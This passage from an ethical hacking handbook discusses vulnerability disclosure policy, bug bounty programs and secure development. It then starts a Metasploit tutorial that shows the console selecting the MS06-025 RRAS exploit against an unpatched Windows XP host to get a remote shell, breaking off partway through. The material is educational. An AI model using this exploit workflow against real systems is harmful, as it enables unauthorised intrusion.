consider the protection of computers, the Internet, and critical infrastructures when
deciding how to release vulnerability information.
Validation
The validation phase involves the vendor reviewing the VSR, verifying the contents, and
working with the finder throughout the investigation. An important aspect of the validation phase is the consistent practice of updating the finder on the status of the investigation. The OIS provides some general rules regarding status updates:
• Vendor must provide status updates to the finder at least once every seven
business days, unless another arrangement is agreed upon by both sides.
• Communication methods must be mutually agreed upon by both sides.
Examples of these methods include telephone, e-mail, or an FTP site.
• If the finder does not receive an update within the seven-day window, it should
issue a Request for Status (RFS).
• The vendor then has three business days to respond to the RFS.
The RFS is considered a courtesy to the vendor reminding it that it owes the finder an
update on the progress that is being made on the investigation.
Investigation
The investigation work that a vendor undertakes should be thorough and cover all related
products linked to the vulnerability. Often, the finder’s VSR will not cover all aspects of the
flaw, and it is ultimately the responsibility of the vendor to research all areas that are
affected by the problem, which includes all versions of code, attack vectors, and even
unsupported versions of software if they are still heavily used by consumers. The steps of
the investigation are as follows:
1. Investigate the flaw of the product described in the VSR.
2. Investigate whether the flaw also exists in supported products that were not
included in the VSR.
3. Investigate attack vectors for the vulnerability.
4. Maintain a public listing of which products/versions it currently supports.
Shared Code Bases
In some instances, one vulnerability is uncovered in a specific product, but the basis of
the flaw is found in source code that may spread throughout the industry. The OIS
Chapter 3: Proper and Ethical Disclosure
59
• Make reasonable efforts to notify each vendor that is known to be affected by
the flaw.
• Establish contact with an organization that can coordinate the communication
to all affected vendors.
• Appoint a coordinator to champion the communication effort to all affected
vendors.
Once the other affected vendors have been notified, the original vendor has the following responsibilities:
• Maintain consistent contact with the other vendors throughout the investigation
and resolution process.
• Negotiate a plan of attack with the other vendors in investigating the flaw. The
plan should include such items as frequency of status updates and
communication methods.
Once the investigation is under way, it is often necessary for the finder to provide
assistance to the vendor. Some examples of the help that a vendor would need include
more detailed characteristics of the flaw, more detailed information about the environment in which the flaw occurred (network architecture, configurations, and so on), or
the possibility of a third-party software product that contributed to the flaw. Because recreating a flaw is critical in determining the cause and eventual solution, the finder is
encouraged to cooperate with the vendor during this phase.
NOTE Although cooperation is strongly recommended, the only requirement
of the finder is to submit a detailed VSR.
Findings
When the vendor finishes its investigation, it must return one of the following conclusions to the finder:
• It has confirmed the flaw.
• It has disproved the reported flaw.
• It can neither prove nor disprove the flaw.
PART I
believes it is the responsibility of both the finder and the vendor to notify all affected
vendors of the problem. Although their “Security Vulnerability Reporting and Response
Policy” does not cover detailed instructions on how to engage several affected vendors,
the OIS does offer some general guidelines to follow for this type of situation.
The finder and vendor should do at least one of the following action items:
Gray Hat Hacking: The Ethical Hacker’s Handbook
60
The vendor is not required to provide detailed testing results, engineering practices, or
internal procedures; however, it is required to demonstrate that a thorough, technically
sound investigation was conducted. This can be achieved by providing the finder with:
• List of product/versions that were tested
• List of tests that were performed
• The test results
Confirmation of the Flaw
In the event that the vendor confirms that the flaw does indeed exist, it must follow up
this confirmation with the following action items:
• List of products/versions affected by the confirmed flaw
• A statement on how a fix will be distributed
• A timeframe for distributing the fix
Disproof of the Flaw
In the event that the vendor disproves the reported flaw, the vendor then must show the
finder that one or both of the following are true:
• The reported flaw does not exist in the supported product.
• The behavior that the finder reported exists, but does not create a security
concern. If this statement is true, the vendor should forward validation data to
the finder, such as:
• Product documentation that confirms the behavior is normal or nonthreatening
• Test results that confirm that the behavior is only a security concern when it
is configured inappropriately
• An analysis that shows how an attack could not successfully exploit this
reported behavior
The finder may choose to dispute this conclusion of disproof by the vendor. In this
case, the finder should reply to the vendor with its own testing results that validate its
claim and contradict the vendor’s findings. The finder should also supply an analysis of
how an attack could exploit the reported flaw. The vendor is responsible for reviewing
the dispute, investigating it again, and responding to the finder accordingly.
Unable to Confirm or Disprove the Flaw
In the event the vendor cannot confirm or disprove the reported flaw, it should inform
the finder of the results and produce detailed evidence of its investigative work. Test
Chapter 3: Proper and Ethical Disclosure
61
• Provide code to the vendor that better demonstrates the proposed vulnerability.
• If no change is established, the finder can move to release their VSR to the
public. In this case, the finder should follow appropriate guidelines on
releasing vulnerability information to the public (covered later in the chapter).
Resolution
In cases where a flaw is confirmed, the vendor must take proper steps to develop a solution. It is important that remedies are created for all supported products and versions of
the software that are tied to the identified flaw. Although not required by either party,
many times the vendor will ask the finder to provide assistance in evaluating if its proposed remedy will be sufficient to eliminate the flaw. The OIS suggests the following
steps when devising a vulnerability resolution:
1. Vendor determines if a remedy already exists. If one exists, the vendor should
notify the finder immediately. If not, the vendor begins developing one.
2. Vendor ensures that the remedy is available for all supported products/versions.
3. Vendor may choose to share data with the finder as it works to ensure that the
remedy will be effective. The finder is not required to participate in this step.
Timeframe
Setting a timeframe for delivery of a remedy is critical due to the risk to which that the
finder and, in all probability, other users are exposed. The vendor is expected to produce
a remedy to the flaw within 30 days of acknowledging the VSR. Although time is a top
priority, ensuring that a thorough, accurate remedy is developed is equally important.
The fix must solve the problem and not create additional flaws that will put both parties
back in the same situation in the future. When notifying the finder of the target date for
its release of a fix, the vendor should also include the following supporting information:
• A summary of the risk that the flaw imposes
• The technical details of the remedy
• The testing process
• Steps to ensure a high uptake of the fix
The 30-day timeframe is not always strictly followed, because the OIS documentation
outlines several factors that should be contemplated when deciding upon the release
date of the fix. One of the factors is “the engineering complexity of the fix.” The fix will
take longer if the vendor identifies significant practical complications in the process. For
example, data validation errors and buffer overflows are usually flaws that can be easily
recoded, but when the errors are embedded in the actual design of the software, then the
vendor may actually have to redesign a portion of the product.
PART I
results and analytical summaries should be forwarded to the finder. At this point, the
finder can move forward in the following ways:
Gray Hat Hacking: The Ethical Hacker’s Handbook
62
CAUTION Vendors have released “fixes” that introduced new vulnerabilities
into the application or operating system—you close one window and open two
doors. Several times these fixes have also negatively affected the application’s
functionality. So although it is easy to put the blame on the network
administrator for not patching a system, sometimes it is the worst thing that he could do.
There are typically two types of remedies that a vendor can propose: configuration
changes or software changes. Configuration change fixes involve giving the users instructions on how to change their program settings or parameters to effectively resolve the
flaw. Software changes, on the other hand, involve more engineering work by the vendor. There are three main types of software change fixes:
• Patches Unscheduled or temporary remedies that address a specific problem
until a later release can completely resolve the issue.
• Maintenance updates Scheduled releases that regularly address many known
flaws. Software vendors often refer to these solutions as service packs, service
releases, or maintenance releases.
• Future product versions Large, scheduled software revisions that impact code
design and product features.
Vendors consider several factors when deciding which software remedy to implement. The complexity of the flaw and the seriousness of the effects are major factors in
the decision process to start. In addition, the established maintenance schedule will also
weigh into the final decision. For example, if a service pack was already scheduled for
release in the upcoming month, the vendor may choose to address the flaw within that
release. If a scheduled maintenance release is months away, the vendor may issue a specific patch to fix the problem.
NOTE Agreeing upon how and when the fix will be implemented is often a
major disconnect between finders and vendors. Vendors will usually want to
integrate the fix into their already scheduled patch or new version release.
Finders usually feel it is unfair to make the customer base wait this long and
be at risk just so it does not cost the vendor more money.
Release
The final step in the OIS “Security Vulnerability Reporting and Response Policy” is the
release of information to the public. The release of information is assumed to be to the
overall general public at one time, and not in advance to specific groups. OIS does not
advise against advance notification, but realizes that the practice exists in case-by-case
instances and is too specific to address in the policy.
Chapter 3: Proper and Ethical Disclosure
63
The reasons for the common breakdown between the finder and the vendor lie in their
different motivations and some unfortunate events that routinely occur. Finders of vulnerabilities usually have the motive of trying to protect the overall industry by identifying and helping remove dangerous software from commercial products. A little fame,
admiration, and bragging rights are also nice for those who enjoy having their egos
stroked. Vendors, on the other hand, are motivated to improve their product, avoid lawsuits, stay clear of bad press, and maintain a responsible public image.
Although more and more software vendors are reacting appropriately when vulnerabilities are reported (because of market demand for secure products), many people
believe that vendors will not spend the extra money, time, and resources to carry out this
process properly until they are held legally liable for software security issues. The possible legal liability issues software vendors may or may not face in the future is a can of
worms we will not get into, but these issues are gaining momentum in the industry.
The main controversy that has surrounded OIS is that many people feel as though the
guidelines have been written by the vendors, for the vendors. Critics have voiced their
concerns that the guidelines will allow vendors to continue to stonewall and deny specific problems. If the vendor claims that a remedy does not exist for the vulnerability, the
finder may be pressured to not release the information on the discovered vulnerability.
Although controversy still surrounds the topic of the OIS guidelines, they are a good
starting point. If all of the software vendors will use this as their framework, and develop
their policies to be compliant with these guidelines, then customers will have a standard
to hold the vendors to.
Case Studies
The fundamental issue that this chapter addresses is how to report discovered vulnerabilities responsibly. The issue has sparked considerable debate in the industry for some
time. Along with a simple “yes” or “no” to the question of whether there should be full
disclosure of vulnerabilities to the public, other factors should be considered, such as
how communication should take place, what issues stand in the way, and what both
sides of the argument are saying. This section dives into all of these pressing issues, citing case studies as well as industry analysis and opinions from a variety of experts.
Pros and Cons of Proper Disclosure Processes
Following professional procedures with regard to vulnerability disclosure is a major
issue. Proponents of disclosure want additional structure, more rigid guidelines, and
ultimately more accountability from the vendor to ensure the vulnerabilities are
addressed in a judicious fashion. The process is not cut and dried, however. There are
many players, many different rules, and no clear-cut winner. It’s a tough game to play
and even tougher to referee.
PART I
Conflicts Will Still Exist
Gray Hat Hacking: The Ethical Hacker’s Handbook
64
The Security Community’s View
The top reasons many bug finders favor full disclosure of software vulnerabilities are:
• The bad guys already know about the vulnerabilities anyway, so why not release
it to the good guys?
• If the bad guys don’t know about the vulnerability, they will soon find out with
or without official disclosure.
• Knowing the details helps the good guys more than the bad guys.
• Effective security cannot be based on obscurity.
• Making vulnerabilities public is an effective tool to make vendors improve their
products.
Maintaining their only stronghold on software vendors seems to be a common theme
that bug finders and the consumer community cling to. In one example, a customer
reported a vulnerability to his vendor. A month went by with the vendor ignoring the
customer’s request. Frustrated and angered, the customer escalated the issue and told
the vendor that if he did not receive a patch by the next day, he would post the full vulnerability on a user forum web page. The customer received the patch within one hour.
These types of stories are very common and are continually presented by the proponents
of full vulnerability disclosure.
The Software Vendors’ View
In contrast, software vendors view full disclosure with less enthusiasm, giving these reasons:
• Only researchers need to know the details of vulnerabilities, even specific exploits.
• When good guys publish full exploitable code, they are acting as black hats and
are not helping the situation but making it worse.
• Full disclosure sends the wrong message and only opens the door to more
illegal computer abuse.
Vendors continue to argue that only a trusted community of people should be privy
to virus code and specific exploit information. They state that groups such as the AV
Product Developers’ Consortium demonstrate this point. All members of the consortium are given access to vulnerability information so that research and testing can be
done across companies, platforms, and industries. The vendors do not feel that there is
ever a need to disclose highly sensitive information to potentially irresponsible users.
Knowledge Management
A case study at the University of Oulu in Finland titled “Communication in the Software
Vulnerability Reporting Process” analyzed how the two distinct groups (reporters and
receivers) interacted with one another and worked to find the root cause of the
Chapter 3: Proper and Ethical Disclosure
65
• Know-what
• Know-why
• Know-how
• Know-who
The know-how and know-who are the two most telling factors. Most reporters don’t
know whom to call and don’t understand the process that should be started when a vulnerability is discovered. In addition, the case study divides the reporting process into
four different learning phases, known as interorganizational learning:
• Socialization stage When the reporting group evaluates the flaw internally to
determine if it is truly a vulnerability
• Externalization phase
the flaw
When the reporting group notifies the vendor of
• Combination phase When the vendor compares the reporter’s claim with its
own internal knowledge about the product
• Internalization phase When the receiving vendor accepts the notification and
passes it on to its developers for resolution
One problem that apparently exists in the reporting process is the disconnect and
sometimes even resentment between the reporting party and the receiving party. Communication issues seem to be a major hurdle for improving the process. From the case
study, it was learned that over 50 percent of the receiving parties who had received
potential vulnerability reports indicated that less than 20 percent were actually valid. In
these situations the vendors waste a lot of time and resources on issues that are bogus.
Publicity
The case study included a survey that circled the question of whether vulnerability information should be disclosed to the public; it was broken down into four individual statements that each group was asked to respond to:
1. All information should be public after a predetermined time.
2. All information should be public immediately.
3. Some part of the information should be made public immediately.
4. Some part of the information should be made public after a predetermined time.
As expected, the feedback from the questions validated the assumption that there is a
decided difference of opinion between the reporters and the vendors. The vendors overwhelmingly feel that all information should be made public after a predetermined time,
PART I
breakdowns. The researchers determined that this process involved four main categories
of knowledge:
Gray Hat Hacking: The Ethical Hacker’s Handbook
66
and feel much more strongly about all information being made immediately public
than the reporters do.
The Tie That Binds
To further illustrate the important tie between reporters and vendors, the study concludes that the reporters are considered secondary stakeholders of the vendors in the
vulnerability reporting process. Reporters want to help solve the problem, but are
treated as outsiders by the vendors. The receiving vendors often found it to be a sign of
weakness if they involved a reporter in their resolution process. The concluding summary was that both participants in the process rarely have standard communications
with one another. Ironically, when asked about improvement, both parties indicated
that they thought communication should be more intense. Go figure!
Team Approach
Another study, “The Vulnerability Process: A Tiger Team Approach to Resolving Vulnerability Cases,” offers insight into the effective use of teams comprising the reporting and
receiving parties. To start, the reporters implement a tiger team, which breaks the functions of the vulnerability reporter into two subdivisions: research and management. The
research team focuses on the technical aspects of the suspected flaw, while the management team handles the correspondence with the vendor and ensures proper tracking.
The tiger team approach breaks down the vulnerability reporting process into the following life cycle:
1. Research
Reporter discovers the flaw and researches its behavior.
2. Verification
Reporter attempts to re-create the flaw.
3. Reporting Reporter sends notification to receiver, giving thorough details of
the problem.
4. Evaluation
5. Repairing
Receiver determines if the flaw notification is legitimate.
Solutions are developed.
6. Patch evaluation
7. Patch release
The solution is tested.
The solution is delivered to the reporter.
8. Advisory generation
The disclosure statement is created.
9. Advisory evaluation
The disclosure statement is reviewed for accuracy.
10. Advisory release
11. Feedback
The disclosure statement is released.
The user community offers comments on the vulnerability/fix.
Communication
When observing the tendencies of the reporters and receivers, the case study researchers
detected communication breakdowns throughout the process. They found that factors
such as holidays, time zone differences, and workload issues were most prevalent. Additionally, it was concluded that the reporting parties were typically prepared for all their
Chapter 3: Proper and Ethical Disclosure
67
Knowledge Barrier
There can be a huge difference in technical expertise between a vendor and the finder.
This makes communicating all the more difficult. Vendors can’t always understand what
the finder is trying to explain, and finders can become easily confused when the vendor
asks for more clarification. The tiger team case study found that the collection of vulnerability data can be very challenging due to this major difference. Using specialized teams
who have areas of expertise is strongly recommended. For example, the vendor could
appoint a customer advocate to interact directly with the finder. This party would be a
middleperson between engineers and the finder.
Patch Failures
The tiger team case also pointed out some common factors that contribute to patch failures in the software vulnerability process, such as incompatible platforms, revisions,
regression testing, resource availability, and feature changes.
Additionally, it was discovered that, generally speaking, the lowest level of vendor
security professionals work in maintenance positions, which is usually the group who
handles vulnerability reports from finders. It was concluded that a lower quality of
patch would be expected if this is the case.
Vulnerability after Fixes Are in Place
Many systems remain vulnerable long after a patch/fix is released. This happens for several reasons. The customer is continually overwhelmed with the number of patches,
fixes, updates, versions, and security alerts released every day. This is the reason that
there is a maturing product line and new processes being developed in the security
industry to deal with “patch management.” Another issue is that many of the previously
released patches broke something else or introduced new vulnerabilities into the environment. So although it is easy to shake our fists at the network and security administrators for not applying the released fixes, the task is usually much more difficult than it
sounds.
iDefense
iDefense is an organization dedicated to identifying and mitigating software vulnerabilities. Started in August 2002, iDefense employs researchers and engineers to uncover
PART I
responsibilities and rarely contributed to time delays. The receiving parties, on the other
hand, often experienced lag time between phases, mostly due to difficulties in spreading
the workload across a limited staff.
Secure communication channels between the reporter and the receiver should be
established throughout the life cycle. This sounds like a simple requirement, but as the
research team discovered, incompatibility issues often made this task more difficult
than it appeared. For example, if the sides agree to use encrypted e-mail exchange, they
must ensure that they are using similar protocols. If different protocols are in place, the
chances of the receiver simply dropping the task greatly increase.
Gray Hat Hacking: The Ethical Hacker’s Handbook
68
potentially dangerous security flaws that exist in commonly used computer applications
throughout the world. The organization uses lab environments to re-create vulnerabilities
and then works directly with the vendors to provide a reasonable solution. iDefense’s program, Vulnerability Contributor Program (VCP), has pinpointed hundreds of threats over
the past few years within a long list of applications.
This global security company has drawn skepticism throughout the industry, however,
as many question whether it is appropriate to profit by searching for flaws in others’ work.
The biggest fear here is that the practice could lead to unethical behavior and, potentially,
legal complications. In other words, if a company’s sole purpose is to identify flaws in
software applications, wouldn’t there be an incentive to find more and more flaws over
time, even if the flaws are less relevant to security issues? The question also touches on the
idea of extortion. Researchers may get paid by the number of bugs they find—much like
the commission a salesperson makes per sale. Critics worry that researchers will begin
going to the vendors demanding money unless they want their vulnerability disclosed to
the public—a practice referred to as a “finder’s fee.” Many believe that bug hunters should
be employed by the software companies or work on a voluntary basis to avoid this profiteering mentality. Furthermore, skeptics feel that researchers discovering flaws should, at a
minimum, receive personal recognition for their findings. They believe bug finding
should be considered an act of goodwill and not a profitable endeavor.
Bug hunters counter these issues by insisting that they believe in full disclosure policies and that any acts of extortion are discouraged. In addition, they are paid for their
work and do not work on a bug commission plan as some skeptics maintain. Yep—
more controversy.
In the first quarter of 2007, iDefense, a VeriSign company, offered up a challenge to the
security researchers. For any vulnerability that allows an attacker to remotely exploit and
execute arbitrary code on either Microsoft Windows Vista or Microsoft Internet Explorer
v7, iDefense will pay $8,000, plus an extra $2,000 to $4,000 for the exploit code, for up to
six vulnerabilities. Interestingly, this has fueled debates from some unexpected angles.
Security researchers are up in arms because previous quarterly vulnerability challenges from iDefense paid $10,000 per vulnerability. Security researchers feel that their
work is being “discounted.”
This is where it turns dicey. Because of decrease in payment for the gray hat work for
finding vulnerabilities, there is a growing dialogue between these gray hatters to auction
off newly discovered, zero-day vulnerabilities and exploit code through an underground
brokerage system. The exploits would be sold to the highest bidders. The exploit writers
and the buyers could remain anonymous.
In December 2006, eWeek reported that zero-day vulnerabilities and exploit code
were being auctioned on these underground, Internet-based marketplaces for as much
as $50,000 apiece, with prices averaging between $20,000 and $30,000. Spam-spewing
botnets and Trojan horses sell for about $5,000 each. There is increasing incentive to
“turn to the dark side” of bug hunting.
The debate over higher pay versus ethics rages on. The researchers claim that this isn’t
extortion, that security researchers should be paid a higher price for this specialized,
highly skilled work.
Chapter 3: Proper and Ethical Disclosure
69
Zero Day Initiative
Another method for reporting vulnerabilities that is rather unique is the Zero Day Initiative (ZDI). What makes this unique is the method in which the vulnerabilities are used.
The company involved, TippingPoint (owned by 3Com), does not resell any of the vulnerability details or the code that has been exploited. Instead they notify the vendor of
the product and then offer protection for the vulnerability to their clients. Nothing too
unique there; what is unique though, is that after they have developed a fix for the vulnerability, they offer the information about the vulnerability to other security vendors.
This is done confidentially, and the information is even provided to their competitors or
other vendors that have vulnerability protection or mitigation products. Researchers
interested in participating can provide exclusive information about previously undisclosed vulnerabilities that they have discovered. Once the vulnerability has been confirmed by 3Com’s security labs, a monetary offer is made to the researcher. After an
agreement on the acquisition of the vulnerability, 3Com will work with the vendor to
generate a fix. When that fix is ready, they will notify the general public and other vendors about the vulnerability and the fix. When TippingPoint started this program, they
followed this sequence of events:
1. A vulnerability is discovered by a researcher.
2. The researcher logs into the secure ZDI portal and submits the vulnerability for
evaluation.
3. A submission ID is generated. This will allow the researcher to track the unique
vulnerability through the ZDI secure portal.
4. 3Com researches the vulnerability and verifies it. Then it decides if it will make
an offer to the researcher. This usually happens within a week.
PART I
So, what is it worth? What will it cost? What should these talented, dedicated, and
skilled researchers be paid? In February 2007, dialogue on the hacker blogs seemed to
set the minimum acceptable “security researcher” daily rate at around $1,000. Further,
from the blogs, it seems that uncovering a typical, run-of-the-mill vulnerability, understanding it, and writing exploit code takes, on average, two to three weeks. This sets the
price tag at $10,000 to $15,000 per vulnerability and exploit, at a minimum.
Putting this into perspective, Windows Vista has approximately 70 million lines of
code. A 2006 study sponsored by the Department of Homeland Security and carried out
by a team of researchers centered at Stanford University, concluded that there is an average of about one bug or flaw in every 2,000 lines of code. This extrapolates to predict
that Windows Vista has about 35,000 bugs in it. If the security researchers demand their
$10,000 to $15,000 ($12,500 average) compensation per bug, the cost to identify the
bugs in Windows Vista approaches half a billion dollars—again, at a minimum.
Can the software development industry afford to pay this? Can they afford not to pay
this? The path taken will probably lie somewhere in the middle.
Gray Hat Hacking: The Ethical Hacker’s Handbook
70
5. 3Com makes an offer for the vulnerability, and the offer is sent to the researcher
via e-mail that is accessible through the ZDI secure portal.
6. The researcher is able to access the e-mail through the secure portal and can
decide to accept the offer. If this happens, then the exclusivity of the
information is assigned to 3Com.
7. The researcher is paid in its preferred method of payment. 3Com responsibly
notifies the affected product vendor of the vulnerability. TippingPoint IPS
protection filters are distributed to the customers for that specific vulnerability.
8. 3Com shares advanced notice of the vulnerability and its details with other
security vendors before public disclosure.
9. In the final step, 3Com and the affected product vendor coordinate a public
disclosure of the vulnerability when a patch is ready and through a security
advisory. The researcher will be given full credit for the discovery, or if it so
desires, it can remain anonymous to the public.
That was the initial approach that TippingPoint was taking, but on August 28, 2006,
it announced a change. Instead of following the preceding procedure, it took a different
approach. The flaw bounty program would announce its currently identified vulnerabilities to the public while the vendors worked on the fixes. The announcement would
only be a bare-bones advisory that would be issued at the time it was reported to the
vendor. The key here is that only the vendor that the vulnerability affects is mentioned
in this early reporting, as well as the date the report was issued and the severity of the
vulnerability. There is no mention as to which specific product is being affected. This
move is to try to establish TippingPoint as the industry watchdog and to keep vendors
from dragging their feet in creating fixes for the vulnerabilities in their products.
The decision to preannounce is very different from many of the other vendors in the
industry that also purchase data on flaws and exploits from external individuals. Many
think that this kind of approach is simply a marketing ploy and has no real benefit to the
industry. Some critics feel that this kind of advanced reporting could cause more problems for, rather than help, the industry. These critics feel that any indication of a vulnerability could attract the attention of hackers in a direction that could make that flaw more
apparent. Only time will truly tell if this will be good for the industry or detrimental.
Vendors Paying More Attention
Vendors are expected to provide foolproof, mistake-free software that works all the time.
When bugs do arise, they are expected to release fixes almost immediately. It is truly a double-edged sword. However, the common practice of “penetrate and patch” has drawn criticism from the security community as vendors simply release multiple temporary fixes to
appease the users and keep their reputation intact. Security experts argue that this ad hoc
methodology does not exhibit solid engineering practices. Most security flaws occur early
in the application design process. Good applications and bad applications are differentiated by six key factors:
Chapter 3: Proper and Ethical Disclosure
71
2. Mistrust of user input Users should be treated as “hostile agents” as data is
verified on the server side and as strings are stripped of tags to prevent buffer
overflows.
3. End-to-end session encryption Entire sessions should be encrypted, not just
portions of activity that contain sensitive information. In addition, secure
applications should have short timeouts that require users to reauthenticate
after periods of inactivity.
4. Safe data handling Secure applications will also ensure data is safe while the
system is in an inactive state. For example, passwords should remain encrypted
while being stored in databases, and secure data segregation should be
implemented. Improper implementation of cryptography components has
commonly opened many doors for unauthorized access to sensitive data.
5. Eliminating misconfigurations, backdoors, and default settings A common
but insecure practice for many software vendors is shipping software with
backdoors, utilities, and administrative features that help the receiving
administrator learn and implement the product. The problem is that these
enhancements usually contain serious security flaws. These items should always
be disabled before shipment and require the customer to enable them; and all
backdoors should be properly extracted from source code.
6. Security quality assurance Security should be a core discipline during the
designing of the product, the specification and developing phases, and during
the testing phases. An example of this is vendors who create security quality
assurance (SQA) teams to manage all security-related issues.
So What Should We Do from Here on Out?
There are several things that we can do to help improve the situation, but it requires everyone involved to be more proactive, more educated, and more motivated. Here are some
suggestions that should be followed if we really want to improve our environments:
1. Stop depending on firewalls. Firewalls are no longer an effective single
countermeasure against attacks. Software vendors need to ensure that their
developers and engineers have the proper skills to develop secure products from
the beginning.
2. Act up. It is just as much the consumers’ responsibility as the developers’ to ensure
that the environment is secure. Users should actively seek out documentation on
security features and ask for testing results from the vendor. Many security
breaches happen because of improper configurations by the customer.
PART I
1. Authentication and authorization The best applications ensure that
authentication and authorization steps are complete and cannot be circumvented.
Gray Hat Hacking: The Ethical Hacker’s Handbook
72
3. Educate application developers. Highly trained developers create more
secure products. Vendors should make a conscious effort to train their
employees in areas of security.
4. Access early and often. Security should be incorporated into the design
process from the early stages and tested often. Vendors should consider hiring
security consultant firms to offer advice on how to implement security practices
into the overall design, testing, and implementation processes.
5. Engage finance and audit. Getting the proper financing to address security
concerns is critical in the success of a new software product. Engaging budget
committees and senior management at an early stage is also critical.
Penetration Testing
and Tools
■ Chapter 4
■ Chapter 5
Using Metasploit
Using the Backtrack Live CD Linux Distribution
73
This page intentionally left blank
CHAPTER
Using Metasploit
This chapter will show you how to use Metasploit, an exploit launching and development platform.
• Metasploit: the big picture
• Getting Metasploit
• Using the Metasploit console to launch exploits
• Using Metasploit to exploit client-side vulnerabilities
• Using the Metasploit Meterpreter
• Using Metasploit as a man-in-the-middle password stealer
• Using Metasploit to auto-attack
• Inside Metasploit exploit modules
Metasploit: The Big Picture
Metasploit is a free, downloadable tool that makes it very easy to acquire, develop, and
launch exploits for computer software vulnerabilities. It ships with professional-grade
exploits for hundreds of known software vulnerabilities. When H.D. Moore released
Metasploit in 2003, it permanently changed the computer security scene. Suddenly, anyone could become a hacker and everyone had access to exploits for unpatched and
recently patched vulnerabilities. Software vendors could no longer drag their feet fixing
publicly disclosed vulnerabilities, because the Metasploit crew was hard at work developing exploits that would be released for all Metasploit users.
Metasploit was originally designed as an exploit development platform, and we’ll use
it later in the book to show you how to develop exploits. However, it is probably more
often used today by security professionals and hobbyists as a “point, click, root” environment to launch exploits included with the framework.
We’ll spend the majority of this chapter showing Metasploit examples. To save space,
we’ll strategically snip out nonessential text, so the output you see while following along
might not be identical to what you see in this book. Most of the chapter examples will be
from Metasploit running on the Windows platform inside the Cygwin environment.
Getting Metasploit
Metasploit runs natively on Linux, BSD, Mac OS X, and Windows inside Cygwin. You
can enlist in the development source tree to get the very latest copy of the framework, or
75
4
Gray Hat Hacking: The Ethical Hacker’s Handbook
76
just use the packaged installers from http://framework.metasploit.com/msf/download.
The Windows console application (msfconsole) that we will be using throughout this
chapter requires the Cygwin environment to run. The Windows package comes with an
AJAX browser-based interface (msfweb) which is okay for light usage, but you’ll eventually want to install Cygwin to use the console in Windows. The Cygwin downloader is
www.cygwin.com/setup.exe. Be sure to install at least the following, in addition to the
base packages:
• Devel
readline, ruby, and subversion (required for msfupdate)
• Interpreters
ruby
• Libs readline
• Net
openssl
References
Installing Metasploit on Windows http://metasploit.com/dev/trac/wiki/Metasploit3/
InstallWindows
Installing Metasploit on Mac OS X http://metasploit.com/dev/trac/wiki/Metasploit3/
InstallMacOSX
Installing Metasploit on Gentoo http://metasploit.com/dev/trac/wiki/Metasploit3/
InstallGentoo
Installing Metasploit on Ubuntu http://metasploit.com/dev/trac/wiki/Metasploit3/
InstallUbuntu
Installing Metasploit on Fedora http://metasploit.com/dev/trac/wiki/Metasploit3/
InstallFedora
Using the Metasploit Console to Launch Exploits
Our first demo in the tour of Metasploit will be to exploit an unpatched XP Service Pack
1 machine missing the RRAS security update (MS06-025). We’ll try to get a remote command shell running on that box using the RRAS exploit built into the Metasploit framework. Metasploit can pair any Windows exploit with any Windows payload. So we can
choose to use the RRAS vulnerability to open a command shell, create an administrator,
start a remote VNC session, or to do a bunch of other stuff. Let’s get started.
$ ./msfconsole
_
_
_
| |
(_)_
____
____| |_ ____ ___ ____ | | ___ _| |_
|
\ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|
=[
+ -- --=[
+ -- --=[
=[
msf >
msf v3.0
177 exploits - 104 payloads
17 encoders - 5 nops
30 aux
Chapter 4: Using Metasploit
77
The interesting commands to start with are
show
info
use
Other commands can be found by typing help. Our first task will be to find the name
of the RRAS exploit so we can use it:
PART II
msf > show exploits
Exploits
========
Name
----
Description
-----------
...
windows/smb/ms04_011_lsass
DsRolerUpgradeDownlevelServer Overflow
windows/smb/ms04_031_netdde
Overflow
windows/smb/ms05_039_pnp
Overflow
windows/smb/ms06_025_rasmans_reg
Registry Overflow
windows/smb/ms06_025_rras
windows/smb/ms06_040_netapi
NetpwPathCanonicalize Overflow
…
Microsoft LSASS Service
Microsoft NetDDE Service
Microsoft Plug and Play Service
Microsoft RRAS Service RASMAN
Microsoft RRAS Service Overflow
Microsoft Server Service
There it is! Metasploit calls it windows/smb/ms06_025_rras. We’ll use that exploit
and then go looking for all the options needed to make the exploit work.
msf > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) >
Notice that the prompt changes to enter “exploit mode” when you use an exploit
module. Any options or variables you set while configuring this exploit will be retained
so you don’t have to reset the options every time you run it. You can get back to the original launch state at the main console by issuing the back command.
msf exploit(ms06_025_rras) > back
msf > use windows/smb/ms06_025_rras
msf exploit(ms06_025_rras) >
Different exploits have different options. Let’s see what options need to be set to
make the RRAS exploit work.
msf exploit(ms06_025_rras) > show options
Name
---RHOST
RPORT
SMBPIPE
Current Setting
--------------445
ROUTER
Required
-------yes
yes
yes
Description
----------The target address
Set the SMB service port
The pipe name to use (ROUTER, SRVSVC)
Gray Hat Hacking: The Ethical Hacker’s Handbook
78
This exploit requires a target address, the port number SMB (server message block)
uses to listen, and the name of the pipe exposing this functionality.
msf exploit(ms06_025_rras) > set RHOST 192.168.1.220
RHOST => 192.168.1.220
As you can see, the syntax to set an option is
set